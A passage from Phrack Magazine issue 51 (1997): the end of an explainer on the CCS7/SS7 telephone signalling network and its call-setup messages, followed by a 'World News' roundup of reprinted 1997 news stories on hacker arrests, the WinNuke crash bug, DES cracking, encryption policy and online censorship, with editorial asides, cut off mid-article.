- = CCS7 links

Explanation:

STP (Signal Transfer Point):

	STPs are tandem switches which act as the routers of the CCS7 network.
They transfer messages between incoming and outgoing signaling links but do not
originate messages other then those used for network management.  Since their
sole function is to act as routers, STPs have NO trunks attached to them.  STPs
are grouped into mated pairs.  These pairs are grouped into the quads you see
in the above diagram.  This is all done for the sake of redundancy.

SCP (Signal Control Point):

	SCPs act as the application database servers for the CCS7 network.
SSPs make database queries through the STPs to the SCPs for such things as
800 number lookups.  As they are not used for direct line connections SCPs also
do not have trunks attached to them.  SCPs are the least common type of switch;
for instance, in Canada, there are only two SCPs, one of which is in Calgary, 
the other in Toronto.

SSP (Service Switching Point) and SP (Service Point):

	SSPs and SPs are the most common switches (despite my diagram :)) and 
are deployed as EO (End Office) switches and in PBXs (Private Branch Exchanges).
On average each SSP can handle about 100,000 - 125,000 lines.  Of course the 
amount of trunks actually available on the switch is considerably smaller then 
the amount of incoming lines; the telcos have various modeling algorithms that 
predict the maximum amount of trunks that will actually be used which is why 
occasionally when, say, a U2 concert hits town a switch can run out of 
available trunks as people rush the phones for tickets.  SSPs and SPs differ 
only on that the former can enact SCP database queries while the latter cannot. 

			0o0o0o0o0o0o0o0o0o0o0o0o0
			o        Links   	o
			0o0o0o0o0o0o0o0o0o0o0o0o0

	A CCS7 link is nothing more then a dedicated 56/64K trunk.  There are 
various classifications of link types: (Refer to the previous diagram for 
examples)

A Links:

	Connect SSP/SPs and SCPs to STPs.

B (Bridge) Links:

	Connect two STP pairs together to form an STP quad.

C (Cross) Links:

	Connect mated STP pairs together.

D Links:

	Interconnect STP quads.

E Links:

	Connect SSP/SPs or SCPs to a STP pair other than their "home" pair.

F Links:

	Connect SSP/SPs and SCPs to each other.

	Links are joined together to form linksets. A linkset is defined as all
the links connecting one node in the network to another node.  Directly 
analogous to linksets are routesets which map out the paths to all the other 
nodes in the network by associating a cost with each possible linkset the 
message could go out on. 

	If that sounded confusing (and I know it did) here is a small example.
Consider the following subsection from our bigger network:

    ###(SP1) 
    #    |   
    #    |     
    #    |     
    ###(SSP1)   
    #    |   \     
    #    L1    L2    
    #    |       \    
    #  [STP1] ---- [STP2]--    
    #    | \      /  |     |
    #    |   \  /    | 	   |
    #    |    \/     |     |
    #    |  /    \   |     |
    #  [STP3] ---- [STP4]  |
    #                 \    /     
    #                 (SSP2)                  
    #                    #                                               
    ######################


	Say SSP1 wants to send a message to SSP2. The routeset to SSP2 on SSP1
will be datafilled with two possible linksets that could be used; namely the
ones going to STP1 and STP2.  However, it's obvious that using L2 would be more
efficient, taking 2 hops instead of 3, via L1.  On the switch this would be 
noted by L2 having a lower cost than L1.

			0o0o0o0o0o0o0o0o0o0o0o0o0
			o  Call Setup Example  	o
			0o0o0o0o0o0o0o0o0o0o0o0o0

	Call setup and takedown using CCS7 is handled by a subset of the 
protocol called ISDN-UP (Integrated Services Digital Network User Part).  There
are many messages belonging in this subset but only five are needed to make a 
phone call.

	Let's say I want to call Dr. Sardu using the network from the previous 
example.  The good doctor's phone is serviced by SSP2 while mine is serviced 
by SSP1.  When I pick up my phone the switch will detect that it is off the 
hook and send a dial tone.  After dialing, an IAM (Initial Address Message) 
will go out on the network from SSP1 to SSP2.  Assuming all goes well (the 
phone is not busy, etc...) an ACM (Address Complete Message) will come back
from SSP2 to SSP1. It is at this time that I hear the first ring tone in my
receiver. The moment the other party picks up and all the trunks are seized
an ANM (Answer Message) is sent from SSP2 to SSP1 and upon reception of this
message billing starts (A few ms of free phone time. Woo woo!).  When the
conversation is complete and one party hangs up, its switch will send an REL
(Release Message) and upon reception the other party will hear the "click" of
the phone being hung up.  When he then hangs up the final RCL (Release Complete)
message will be sent and the seized trunks will return to idle.


----[  EOF




--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 16 of 17


-------------------------[  P H R A C K     W O R L D     N E W S


--------[  Issue 51


 0x1: Illinois man arrested after threatening Bill Gates
 0x2: Man Arrested In Tokyo On Hacker Charges
 0x3: FBI says hacker sold 100,000 credit card numbers
 0x4: MS Security Plugs Not Airtight
 0x5: BSA slams DTI's Encryption Plans
 0x6: Teen bypasses blocking software
 0x7: The Power to Moderate is the Power to Censor
 0x8: AOL Users in Britain Warned of Surveillance
 0x9: Georgia Expands the "Instruments of Crime"
 0xa: NASA Nabs Teen Computer Hacker
 0xb: Agriculture Dept. Web Site Closed after Security Breach
 0xc: Hackers Smash US Government Encryption Standard
 0xd: Hacker May Stolen JonBenet computer Documents
 0xe: Hacker Vows 'Terror' for Pornographers
 0xf: Mitnick Gets 22 Month Sentence
0x10: New York Judge Prohibits State Regulation of Internet
0x11: Breaking the Crypto Barrier
0x12: Setback in Efforts to Secure Online Privacy
0x13: Captain Crunch Web Site Now Moved
0x14: US Justive Dept. Investigating Network Solutions
0x15: Cyber Patrol Bans Crypt Newsletter
0x16: Some humor on media hacks and hackers
0x17: Court Mixes Internet Smut Provision

 0x1: Book Title: Underground
 0x2: Book Title: "Hackers"

 0x1: Convention: Cybercrime Conference Announcement
 0x2: Convention: Computers & The Law IV Symposium


0x1>-------------------------------------------------------------------------
 

Title: Illinois man arrested after threatening Bill Gates
Source: Reuter
Author: unknown

SEATTLE (Reuter) - An Illinois man has been arrested and charged with
threatening to kill Microsoft Corp. Chairman Bill Gates in a $5
million extortion plot, authorities said on Friday.
  
Adam Pletcher was arrested on May 9 in the Chicago suburb of Long
Grove, where he lives with his parents, and charged with extortion,
federal prosecutors said. He was freed on $100,000 bond and is due to
appear in U.S. District Court in Seattle on Thursday for arraignment.
  
According to court documents, Pletcher sent four letters to Gates,
beginning in March, threatening to kill the software company founder
and his wife, Melinda, unless payment of at least $5 million was made.
  
The first letter was intercepted at the company's headquarters in
Redmond, Washington, by corporate security officers, who contacted the
FBI.
  
Agents then used an America Online dating service specified by the
author of the letters to track down Pletcher, described as a loner in
his early 20s who spends much of his time in front of the computer.
 
Authorities said they treated the threats seriously but did not
believe Gates' life was ever in danger.
 
"We generally think this was a kid with a rich fantasy life, just
living that out," said Tom Ziemba, a spokesman for U.S. Attorney
Katrina Pflaumer.
 
"This was handled in a fairly routine fashion by Microsoft security
and law enforcement agencies," Microsoft spokesman Mark Murray said.
"At some point in the investigation Microsoft did make Bill aware of
the situation."
 
Pletcher's online activities have landed him in trouble before.
 
In February the Illinois attorney general sued Pletcher, accusing him
of defrauding consumers of thousands of dollars in an alleged Internet
scam, according to a story in the Chicago Tribune. Several consumers
complained they sent Pletcher up to $5,500 to find them a car deal and
never got their money back.
 
Despite his status as richest man in America, with a Microsoft stake
valued at more than $30 billion, Gates is still known to travel alone
on regularly scheduled flights. But Murray said the executive was
well-protected.
 
"We don't comment at all on Bill's security other than to say that
there are extensive and appropriate security measures in place for
Bill, for his family and for Microsoft facilities and personnel,"
Murray said.
 
0x2>-------------------------------------------------------------------------

Title: Man Arrested In Tokyo On Hacker Charges
Source: unknown
Author: unknown

TOKYO (May 23, 1997 10:31 a.m. EDT) - A 27-year-old Japanese man was
arrested Friday on suspicion of breaking into an Internet home page of
Asahi Broadcasting Corp. and replacing it with pornography, a police
spokesman said.

Koichi Kuboshima, a communications equipment firm employee from Saitama
Prefecture, north of Tokyo, was arrested on charges of interrupting
business by destroying a computer network.

It was the first arrest related to illegal access to the information
network, the police spokesman said, adding Kuboshima was also charged
with displaying obscene pictures, the spokesman said.

The suspect admitted to the crime, telling police he had done it for
fun, police officials said.

The Osaka-based broadcasting network blocked access to all of its home
pages on Sunday immediately after it was notified of the offense by an
Internet user.

The Asahi home page is designed to allow users to download and upload
information, which allowed Kuboshima to rewrite the contents, the
spokesman said.

0x3>-------------------------------------------------------------------------
 
Title: FBI says hacker sold 100,000 credit card numbers
Source: unknown
Author: unknown

SAN FRANCISCO (May 23, 1997 10:13 a.m. EDT) -- A clever hacker slipped
into a major Internet provider and gathered 100,000 credit card
numbers along with enough information to use them, the FBI said
Thursday.

Carlos Felipe Salgado, Jr., 36, who used the online name "Smak,"
allegedly inserted a program that gathered the credit information from
a dozen companies selling products over the Internet, said FBI
spokesman George Grotz.

[Secure electronic commerce is a novel idea.]
  
Salgado allegedly tried to sell the credit information to an
undercover agent for $260,000. He was arrested Wednesday and faces a
maximum 15 years in prison and $500,000 in fines if convicted on
charges of unauthorized access of computers and trafficking in stolen
credit card numbers.
  
"What is unique about this case is that this individual was able to
hack into this third party, copy this information and encrypt it to be
sold," Grotz said.

[Since we know others have hacked in and stolen credit cards before,
 the unique part is him trying to sell them. That isn't in keeping
 with what federal agents love to say about hackers and credit card
 incidents. Convenient how they change things like that.]
  
Had it succeeded, "at minimum we'd have 100,000 customers whose
accounts could have been compromised and would not have known it until
they got their bill at the end of the month," the FBI spokesman said.

The scheme was discovered by the unidentified San Diego-based Internet
provider during routine maintenance. Technicians found an intruder had
placed a program in their server called a "packet sniffer," which
locates specified blocks of information, such as credit card numbers.

[Uh...more like they kept a nice ascii database full of the numbers
 that was copied with expert technique like "cp ccdb"...]

The FBI traced the intruder program to Salgado, who was using an
account with the University of California-San Francisco.
 
A school spokeswoman said officials have not yet determined whether
Salgado attended or worked at the school, or how he got access to the
account.
  
With the cooperation of a civilian computer user who was in
communication with Salgado, the FBI arranged to have an undercover
agent buy the stolen credit card information.
 
After making two small buys, the FBI agents arranged to meet Salgado
on Wednesday at San Francisco International Airport to pay $260,000
for 100,000 credit card numbers with credit limits that ranged up to
$25,000 each.
  
After decrypting and checking that the information was valid, Salgado
was taken into custody at his parents' house in Daly City. Salgado
waived his rights and acknowledged breaking into computers, including
the San Diego company, according to the affidavit.
 
The FBI has not found any evidence Salgado made any purchases with the
numbers himself, the spokesman said, but the investigation is
continuing.
  
Salgado appeared before a federal magistrate Thursday and was released
on a $100,000 personal bond. Grotz said that as a condition of bail,
"the judge forbids him to come anywhere near a computer."
 

0x4>-------------------------------------------------------------------------
 
Title: MS Security Plugs Not Airtight
Source: unknown
Author: Nick Wingfield

(May 22, 1997, 12:45 p.m. PT) Microsoft (MSFT) is still struggling to
completely patch Windows 95 and NT against Internet hacker attacks. 

The company has posted a software patch that protects Windows 95 users
from an attack that can crash their computers. The company issued a
similar patch for Windows NT last week.

But both the Windows NT and 95 patches aren't complete prophylactics for
so-called out-of-band data attacks since both platforms can still be
crashed by hackers with Macintosh and Linux computers. Microsoft said
today that it hopes to post new patches by tonight that remedy the
vulnerability to Mac- and Linux-based attacks.

The current Windows 95 patch--without protection for Mac and Linux
attacks--can be downloaded for free from Microsoft's Web site.

This year, Microsoft programmers have been forced to create a medicine
chest of software remedies to fix potential security risks in everything
from the Internet Explorer browser to PowerPoint to Windows itself. Some
security experts believe the company is struggling with deep-rooted
vulnerabilities in its OS and Internet technologies.

It's clear that the Internet has made it much easier for enterprising
bug-finders to broadcast their discoveries to the press and public over
email lists and Web pages. This has put intense pressure on
Microsoft's engineering groups to quickly come up with patches. 

Other companies, such as Sun Microsystems, have also had to release a
number of patches for their technologies, but Microsoft has been
especially hard-hit.

A number of security experts believe that Microsoft would have had a
hard time avoiding these security problems.

"As a professional programmer, I have a real hard time saying that
Microsoft should have seen this coming," said David LeBlanc, senior
Windows NT security manager at Internet Security Systems, a developer of
security software. "I get hit with this stuff too. With 20/20 hindsight,
it's really obvious to see what we did wrong. Trying to take into
account all the possibilities that can occur beforehand is not
realistic."

In order to exploit the latest vulnerability, Web sites must send a
special TCP/IP command known as "out of band data" to port 139 of a
computer running Windows 95 or NT. Hackers could also target users' PCs
by using one of several programs for Windows, Unix, and Macintosh now
circulating on the Net. With one program, called WinNuke, a hacker
simply types a user's Internet protocol address and then clicks the
program's "nuke" button in order to crash a PC over the Net. 

The company's original patch for Windows NT prevents attacks from Unix
and other Windows computers. But because of a difference in the way
Mac and Linux computers handle the TCP protocol, Microsoft's patch
didn't squelch attacks from those operating systems.

[Bullshit meter: ****-   - In actuality, Microsoft just decided to
 filter hits on that port looking for a keyword included in the
 first 'winuke' script. By changing that word, 95 was once again
 vulnerable to these attacks. Good work Microsoft.]

A number of users have sent email to CNET's NEWS.COM complaining that
their computers were repeatedly crashed as they chatted in Internet
relay chat groups. When users are nuked by a hacker, their computer
screens often display an error message loosely known as the "blue screen
of death." 

"The worst part about it is that the delinquents playing with this toy
really like to play with it and keep on doing it," said Martin A.
Childs, a law student at Louisiana State University in Baton Rouge. "The
first time I got hit, I logged on six times before I managed to figure
out what was going on."

The original patches for Windows NT versions 4.0 and 3.51 are available
on Microsoft's Web site. Last Thursday, the company also posted a
collection of software patches, called service pack 3, that contains the
NT out-of-band fix.

The out-of-band data attacks also affect users of Windows 3.11, but a
company spokeswoman said that Microsoft will not prepare a fix for that
platform unless users request one.

0x5>-------------------------------------------------------------------------
 
Title: BSA slams DTI's Encryption Plans
Source: The IT Newspaper
Author: unknown
Date: 26th June 1997

 
 Government Proposals on encryption are 'unworkable, unfar, unweildy,
 un-needed and frankly unacceptable', according to the British Software
 Alliance (BSA) and the British Interactive Multimedia Association (Bima),
 writes Tim Stammers.
 
   In a joint statement, the organizations claimed that encryption
 proposals from the DTI could 'cripple the growth of electronic comerce in
 the UK'.
 
   Tod Cohen, lawyer at Covington & Berling, council to the BSA, said:
 'These proposals could be a disaster for both users and vendors'.
 
   The DTI's plan calls for UK organisations which want to encrypt email
 and data to supply copies of their encryption keys to third parties.
 
   Government agencies will then be able to demand access to copies of the
 keys.  The DTI says the scheme aims to prevent criminal use of encryption
 by drug dealers and terrorists.
 
   But the BSA and BIMA claim that the proposed tystem will create a
 massive bureaucratic structure will criminals will ignore.
 
   'The sheer number of electronic communications could easily overwhelm
 the system, without inreasing security or safety within the UK', their
 statement said.
 
   Sean Nye, executive member of Bima, said : 'In an age where personal
 data and information is increasingly threatened with unwarranted
 exposure, the DTI's proposals are a major step backwards'.
 
   Opposition to the so-called key escrow system suggested by the DTI has
 been widespread.  Public opponents include Brian Gladman, former deputy
 director at Nato's labratories.
 
   The proposals where formulated under the last government, and a
 decision on their future is expected next month.
 
   The US government is easing encryption export controls for software
 companies which are prepared to back key escrow, but has met Senate
 opposition to its plans.
 
0x6>-------------------------------------------------------------------------
 
Title: Teen bypasses blocking software
Sounce: www.news.com
Author: Courtney Macavinta
Date: April 22, 1997, 5:30 p.m. PT

A teenager is using his Web site to help others bypass one brand
of filtering software intended to protect minors from illicit Net
material.

Using the "CYBERsitter codebreaker" from 18-year-old Bennett
Haselton, surfers can now decode the list of all Net sites
blocked by Solid Oak's Cybersitter software.

Haselton--the founder of a teen organization called Peacefire
that fights Net censorship--contends that the software violates
free speech rights for adults and teen-agers. He claims the
software is also falsely advertised because it promises parents
the "ability to limit their children's access to objectionable
material on the Internet," but also blocks other content on the
Net.

Haselton's campaign to get around Cybersitter has Solid Oak's
president seeing red.

Solid Oak denies Haselton's charges and is investigating the
legality of the code-breaking program. "He doesn't know anything,
and he's just a kid," Solid Oak President Brian Milburn said
today. "We have never misrepresented our product--ever."

Haselton's Cybersitter codebreaker can be used to crack a coded
list of the sites that CYBERsitter blocks. The list is
distributed to subscribers to notify users what sites are being
blocked. Subscribers pay $39.95 for the software.

The software blocks sites containing any words describing
genitals, sex, nudity, porn, bombs, guns, suicide, racial slurs
and other violent, sexual and derogatory terms.

The list also blocks an array of sites about gay and lesbian
issues, including PlanetOut and the International Gay and Lesbian
Human Rights Commission . Cybersitter even blocks the National
Organization for Women because it contains information about
lesbianism, Solid Oak stated. "The NOW site has a bunch of
lesbian stuff on it, and our users don't want it," said Milburn.

The software also filters any site that contains the phrase
"Don't buy CYBERsitter" as well as Haselton's own site and any
reference to his name.

Milburn says Haselton's campaign is hurting the product's
marketability and hinted that the company will stop him, but
wouldn't say exactly how.

"We have users who think they purchased a secure product. This is
costing us considerably," Milburn said. "But we're not going to
let Bennett break the law."

He did point out that Haselton's program to decode the software
may violate its licensing agreement, which states: "Unauthorized
reverse engineering of the Software, whether for educational,
fair use, or other reason is expressly forbidden. Unauthorized
disclosure of CYBERsitter operational details, hacks, work around
methods, blocked sites, and blocked words or phrases are
expressly prohibited."

Haselton is undaunted by the suggestion of legal reprecussions.
"I've talked to a lawyer who offered to represent me in the event
that Cybersitter goes after me," he added.

Haselton, a junior at Vanderbuilt University, argues that the
software doesn't protect kids from smut, but just keeps them from
learning new ideas.

"Blocking software is not the solution to all of our problems.
What's dangerous is not protecting [teenagers' free] speech on
the Net as well," he said. "This is the age, when you form your
opinions about social issues, human rights, and religion. We need
to keep free ideas on the Net for people under 18."

Haselton's organization is also a plaintiff in a lawsuit being
argued today in New York, the American Library Association vs.
Governor George Pataki. The case was filed to strike down a state
law similar to the Communications Decency Act that prohibits
making indecent material available to minors over the Net.

0x7>-------------------------------------------------------------------------
 
Title: The Power to Moderate is the Power to Censor
Source: unknown
Author: Paul Kneisel

Some 200+ new news groups have just been created on the UseNet part of the
Internet. They are grouped under a new <gov.*> hierarchy.

<gov.*> promises to "take democracy into cyberspace," according to the
press release from the National Science Foundation.[1] "The U.S.
government," said U.S. Vice President Al Gore of the GovNews project, "is
taking a leadership role in providing technology that could change the face
of democracy around the world."[2]

The GovNews project repeatedly stresses how it will support and promote
feedback between governments and citizens. "Millions of people will now be
able to follow and comment on government activity in selected areas of
interest...," the release stated, promising "a wide, cost-effective
electronic dissemination and discussion...."

Preston Rich, the National Science Foundation's leader of the International
GovNews Project, described GovNews as "newsgroups logically organized by
topic from privatization, procurements and emergency alerts to toxic waste
and marine resources and include[s] the capability to discuss such
information."[1]

The vast majority of the new <gov.*> groups are moderated.

The idea of the moderated news
group is increasingly accepted on UseNet. Off-topic posts, flames, and spam
have made many non-moderated groups effectively unreadable by most users.
Moderated groups are one effective way around these problems. New groups
created in the non-<gov.*> "Big 8" UseNet hierarchy have formal charters
defining the group. If the group is moderated then the powers, identity,
and qualifications of the moderators are also listed. Unmoderated groups
might be likened to informal free-for-all debates where there is no check
on who can participate or on the form or content of what is said. Moderated
groups are far closer to a specially-defined meeting of citizens with a
formal Chair, empowered to declare certain topics off-limits for
discussion, and to call unruly participants to order.

An unmoderated UseNet group dedicated to baking cookies might be flooded
with posts advertising bunion cures, reports of flying saucers sighted over
Buckingham Palace, or articles denouncing Hillary Clinton as a Satanist. A
moderator for the group has the power to block all of these posts, ensuring
that they are not sent to the UseNet feed and do not appear among the
on-topic discussion of cookies.

Certainly some moderators on UseNet groups abuse their powers (as do some
Chairs at non-Internet meetings.) But reports of such abuse are relatively
rare given the number of moderated groups. And, of course, many complaints
come from the proverbial "net.kooks" or those who oppose moderation in
general.

Moderators in the "Big 8" UseNet hierarchy are "civilians," not government
employees moderating government-related groups while collecting government
paychecks.

The <gov.*> hierarchy inferentially changes this. I write "inferentially"
because the charters, names and qualifications of the moderators in the
200+ groups has not been formally announced. Nor do routine queries to
members of the <gov.*> leading Hierarchial Coordinating Committee result in
such detailed information.

UseNet is not the entire Internet. Net-based technology like the World Wide
Web and the "File Transfer Protocol" or FTP are designed for the one-way
transmission of data. Few object to the _Congressional Record_ on-line or
crop reports posted by the U.S. Department of Agriculture available on the
Web or via FTP. But the news groups of UseNet are designed for two-way
discussions, not spam-like one-way info-floods of data carefully selected
by government bureaucrats.

That creates an enormous problem when government employees moderate the
discussion, regardless of how well, appropriately, or fairly the moderation
is conducted.

For government moderation of any discussion is censorship and it is wrong.

Initial reports also indicate that most of the <gov.*> groups will be "robo
[t]-moderated." In other words, specialized software programs will handle
the bulk of the moderator's tasks. Robo-moderation, however, alters
nothing. A good robo program may catch and eliminate 99% of the spam sent
to the group or identify notorious flame-artists. But the power to
robo-moderate remains the power to censor; the power to select one
robo-moderator is the power to select another; the power to automatically
remove bunion ads is simultaneously the power to eliminate all posts from
Iraq in a political discussion or any message containing the string
"Whitewater."

In short, moderation on <gov.*> groups by government employees remains
censorship whether conducted by software or humans, whether posts are
approriately banned or the moderation places severe limits on free
political speech. *Any* limitation of posts from any citizen by any
government employee is censorship.

It is also forbidden by law.

FOOTNOTES
[1] "GOVNEWS: N[ational] S[cience] F[oundation] Press Release for GovNews,"
17 Mar 1997, <http://www.govnews.org/govnews/info/press.html>, accessed 21
Mar 1997.

[2] One wonders what technology Gore believes GovNews is providing.
Certainly neither the Internet or UseNet is part of that technology for
both existed long before GovNews.^Z

0x8>-------------------------------------------------------------------------

Title: AOL Users in Britain Warned of Surveillance
Source: unknown
Author: CHristopher Johnston

LONDON - Subscribers logging onto AOL Ltd. in Britain this week
were greeted with news that the Internet-service provider was
imposing a tough new contract giving it wide latitude to disclose
subscribers' private E-mail and on-line activities to law
enforcement and security agencies.

The new contract also requires users to comply with both British
and U.S. export laws governing encryption. AOL Ltd. is a
subsidiary of AOL Europe, which is a joint venture between
America Online Inc. of the United States and Germany's
Bertelsmann GmbH.

The contract notes in part that AOL ''reserves the right to
monitor or disclose the contents of private communication over
AOL and your data to the extent permitted or required by law.''

''It's bad news,'' said Marc Rotenberg, director of the
Electronic Privacy Information Center, a Washington-based civil
liberties organization. ''I think AOL is putting up a red flag
that their commitment to privacy is on the decline.  It puts
their users on notice that to the extent permitted by law, they
can do anything they want.''

The contract also prohibits subscribers from posting or
transmitting any content that is ''unlawful, harmful,
threatening, abusive, harassing, defamatory, vulgar, obscene,
seditious, blasphemous, hateful, racially, ethnically or
otherwise objectionable.''

AOL and its competitors called the move part of a trend to
protect on-line service providers from suits by users in case
they are required to disclose subscribers' activities to law
enforcement agencies.

The contract also beefed up the legal wording relating to
sensitive content such as pornography, and prohibiting the
maintenance of links to obscene Web sites.

The updated contract is also the first to inform subscribers that
they are required to comply with both British and U.S. export
laws governing encryption, or coding, a hot topic of debate
recently between software publishers and security agencies.

AOL Europe will provide similar contracts, which vary according
to local law in each of the seven European countries in which the
network operates.

AOL executives denied any government pressure in updating the
contract.

0x9>-------------------------------------------------------------------------
 
Title: Georgia Expands the "Instruments of Crime"
Source: fight-censorship@vorlon.mit.edu

In Georgia it is a crime, punishable by $30K and four years to use in
furtherance of a crime:

 * a telephone
 * a fax machine
 * a beeper
 * email

The actual use of the law, I think, is that when a person is selling drugs
and either is in possession of a beeper, or admits to using the phone to
facilitate a meeting, he is charged with the additional felony of using a
phone.  This allows for selective enforcement of additional penalties for
some people.

  O.C.G.A. 16-13-32.3.

  (a) It shall be unlawful for any person knowingly or intentionally to
  use any communication facility in committing or in causing or
  facilitating the commission of any act or acts constituting a felony
  under this chapter. Each separate use of a communication facility
  shall be a separate offense under this Code section.  For purposes of
  this Code section, the term "communication facility" means any and all
  public and private instrumentalities used or useful in the
  transmission of writing, signs, signals, pictures, or sounds of all
  kinds and includes mail, telephone, wire, radio, computer or computer
  network, and all other means of communication.

  (b) Any person who violates subsection (a) of this Code section shall
  be punished by a fine of not more than $30,000.00 or by imprisonment
  for not less than one nor more than four years, or both.

0xa>-------------------------------------------------------------------------
 
Title: NASA Nabs Teen Computer Hacker
Source: Associated Press
Author: unknown
Date: Monday, June 2, 1997

WASHINGTON (AP) - A Delaware teen-ager who hacked his way into a
NASA web site on the Internet and left a message berating U.S.
officials is being investigated by federal authorities, agency
officials said Monday.

NASA Inspector General Robert Gross cited the incident - the most
recent example of a computer invasion of a NASA web site - as an
example of how the space agency has become ``vulnerable via the
Internet.''

"We live in an information environment vastly different than 20
years ago," Gross said in a written statement. "Hackers are
increasing in number and in frequency of attack."

In the latest case, the Delaware teen, whose name, age and
hometown were not released, altered the Internet web site for the
Marshall Space Flight Center in Huntsville, Ala., according to
the statement from the computer crimes division of NASA's
Inspector General Office.

"We own you. Oh, what a tangled web we weave, when we practice to
deceive," the teen's message said, adding that the government
systems administrators who manage the site were "extremely
stupid."

The message also encouraged sympathizers of Kevin Mitnick, a
notorious computer hacker, to respond to the site. Mitnick was
indicted last year on charges stemming from a multimillion-dollar
crime wave in cyberspace.

The altered message was noticed by the computer security team in
Huntsville but the NASA statement did not mention how long the
message was available to the public or exactly when it was
discovered. NASA officials weren't made available to answer
questions about the event.

In the statement, NASA called the teen's hacking "a cracking
spree" and said it was stopped May 26 when his personal computer
was seized.

Prosecutors from the U.S. Attorney's office in Delaware and
Alabama are handling the case with NASA's computer crimes
division.

Last March, cyberspace invaders made their way into another NASA
web site and threatened an electronic terrorist attack against
corporate America. The group, which called itself ``H4G1S'' in
one message and ``HAGIS'' in another, also called for some
well-known hackers to be released from jail.

Engineers at the Goddard Space Flight Center in Greenbelt, Md.,
quickly noticed the change and took the page off the Internet
within 30 minutes.  NASA officials said the agency installed
electronic security measures designed to prevent a recurrence.

0xb>-------------------------------------------------------------------------
 
Title: Agriculture Dept. Web Site Closed after Security Breach
Source: Reuter
Author: unknown

WASHINGTON (June 11, 1997 00:08 a.m. EDT) - The U.S. Agriculture
Department's Foreign Agricultural Service shut down access to its
internet home page Tuesday after a major security breach was
discovered, a department aide said.

"It's a big, huge problem," Ed Desrosiers, a computer specialist
in USDA's Farm Service Agency, told Reuters. "We can't guarantee
anything's clean anymore."

Someone broke into system and began "sending out a lot of
messages" to other "machines" on the internet, Desrosiers said.

The volume of traffic was so great, "we were taking down machines"
and began receiving complaints, he said.

"It's not worth our time to try to track down" the culprit,
Desrosiers said. "Instead, we're just going to massively increase
security."

A popular feature on the FAS home page is the search function for
"attache reports," which are filed by overseas personnel and
provide assessments on crop conditions around the world. Although
not official data, the reports provide key information that goes
into USDA's monthly world supply-and-demand forecasts.

It could be next week before the page is open to outside users
again, Desrosiers said.

0xc>-------------------------------------------------------------------------
 
Title: Hackers Smash US Government Encryption Standard
Source: fight-censorship@vorlon.mit.edu

Oakland, California (June 18, 1997)-The 56-bit DES encryption
standard, long claimed "adequate" by the U.S. Government, was
shattered yesterday using an ordinary Pentium personal computer
operated by Michael K. Sanders, an employee of iNetZ, a Salt Lake
City, Utah-based online commerce provider. Sanders was part of a
loosely organized group of computer users responding to the "RSA
$10,000 DES Challenge." The code-breaking group distributed computer
software over the Internet for harnessing idle moments of computers
around the world to perform a 'brute force' attack on the encrypted
data.

"That DES can be broken so quickly should send a chill through the
heart of anyone relying on it for secure communications," said Sameer
Parekh, one of the group's participants and president of C2Net
Software, an Internet encryption provider headquartered in Oakland,
California (http://www.c2.net/). "Unfortunately, most people today
using the Internet assume the browser software is performing secure
communications when an image of a lock or a key appears on the
screen. Obviously, that is not true when the encryption scheme is
56-bit DES," he said.

INetZ vice president Jon Gay said "We hope that this will encourage
people to demand the highest available encryption security, such as
the 128-bit security provided by C2Net's Stronghold product, rather
than the weak 56-bit ciphers used in many other platforms."

Many browser programs have been crippled to use an even weaker, 40-bit
cipher, because that is the maximum encryption level the
U.S. government has approved for export. "People located within the US
can obtain more secure browser software, but that usually involves
submitting an affidavit of eligibility, which many people have not
done," said Parekh. "Strong encryption is not allowed to be exported
from the U.S., making it harder for people and businesses in
international locations to communicate securely," he explained.

According to computer security expert Ian Goldberg, "This effort
emphasizes that security systems based on 56-bit DES or
"export-quality" cryptography are out-of-date, and should be phased
out. Certainly no new systems should be designed with such weak
encryption.'' Goldberg is a member of the University of California at
Berkeley's ISAAC group, which discovered a serious security flaw in
the popular Netscape Navigator web browser software.

The 56-bit DES cipher was broken in 5 months, significantly faster
than the hundreds of years thought to be required when DES was adopted
as a national standard in 1977. The weakness of DES can be traced to
its "key length," the number of binary digits (or "bits") used in its
encryption algorithm. "Export grade" 40-bit encryption schemes can be
broken in less than an hour, presenting serious security risks for
companies seeking to protect sensitive information, especially those
whose competitors might receive code-breaking assistance from foreign
governments.

According to Parekh, today's common desktop computers are tremendously
more powerful than any computer that existed when DES was
created. "Using inexpensive (under $1000) computers, the group was
able to crack DES in a very short time," he noted. "Anyone with the
resources and motivation to employ modern "massively parallel"
supercomputers for the task can break 56-bit DES ciphers even faster,
and those types of advanced technologies will soon be present in
common desktop systems, providing the keys to DES to virtually
everyone in just a few more years."

56-bit DES uses a 56-bit key, but most security experts today consider
a minimum key length of 128 bits to be necessary for secure
encryption. Mathematically, breaking a 56-bit cipher requires just
65,000 times more work than breaking a 40-bit cipher. Breaking a
128-bit cipher requires 4.7 trillion billion times as much work as one
using 56 bits, providing considerable protection against brute-force
attacks and technical progress.

C2Net is the leading worldwide provider of uncompromised Internet
security software. C2Net's encryption products are developed entirely
outside the United States, allowing the firm to offer full-strength
cryptography solutions for international communications and
commerce. "Our products offer the highest levels of security available
today. We refuse to sell weak products that might provide a false
sense of security and create easy targets for foreign governments,
criminals, and bored college students," said Parekh. "We also oppose
so-called "key escrow" plans that would put everyone's cryptography
keys in a few centralized locations where they can be stolen and sold
to the highest bidder," he added. C2Net's products include the
Stronghold secure web server and SafePassage Web Proxy, an enhancement
that adds full-strength encryption to any security-crippled "export
grade" web browser software.

0xd>-------------------------------------------------------------------------
 
Title: Hacker May Stolen JonBenet computer Documents
Source: Associated Press
Author: Jennifer Mears

BOULDER, Colo. (June 13, 1997 07:38 a.m. EDT) -- A computer hacker has
infiltrated the system set aside for authorities investigating the slaying
of JonBenet Ramsey, the latest blow to a heavily criticized inquiry.

[...despite the computer not being online or connected to other computers..]

Boulder police spokeswoman Leslie Aaholm said the computer was "hacked"
sometime early Saturday. The incident was announced by police Thursday.

"We don't believe anything has been lost, but we don't know what, if
anything, has been copied," said Detective John Eller, who is leading the
investigation into the slaying of the 6-year-old girl nearly six months ago.

The computer is in a room at the district attorney's office that police
share with the prosecutor's investigators. The room apparently had not been
broken into. Computer experts with the Colorado Bureau of Investigations
were examining equipment to determine what had been done.

[Bullshit.  It was later found out that the machine was not hacked at all.]

0xe>-------------------------------------------------------------------------

Title: Hacker Vows 'Terror' for Pornographers
Source: Wired
Author: Steve Silberman

After 17 years in the hacker underground, Christian Valor - well known 
among old-school hackers and phone phreaks as "Se7en" - was convinced 
that most of what gets written in the papers about computers and hacking 
is sensationalistic jive. For years, Valor says, he sneered at reports 
of the incidence of child pornography on the Net as
